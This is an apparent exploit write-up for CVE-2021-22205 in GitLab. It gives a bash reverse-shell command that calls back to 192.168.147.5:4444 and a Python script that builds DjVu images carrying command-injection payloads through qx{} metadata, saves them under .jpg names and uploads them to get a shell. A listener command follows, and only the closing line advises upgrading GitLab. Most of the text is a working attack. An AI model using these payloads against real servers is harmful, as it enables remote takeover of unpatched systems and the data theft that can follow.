
CVE-2021-22205-getshell
CVE-2021-22205-getshell
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh
import os
payloads=[
"echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
"chmod +x /tmp/1.sh",
"/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
with open("rce-{0}.txt".format(index), "wb") as text_file:
text_file.write(rce_payload)
text_file.close()
os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
index=index+1
nv -lv 192.168.147.5 4444
After uploading the three images separately, the third image executes the reverse shell command, successfully gaining access to the target machine
Upgrade GitLab to the latest security version as soon as possible.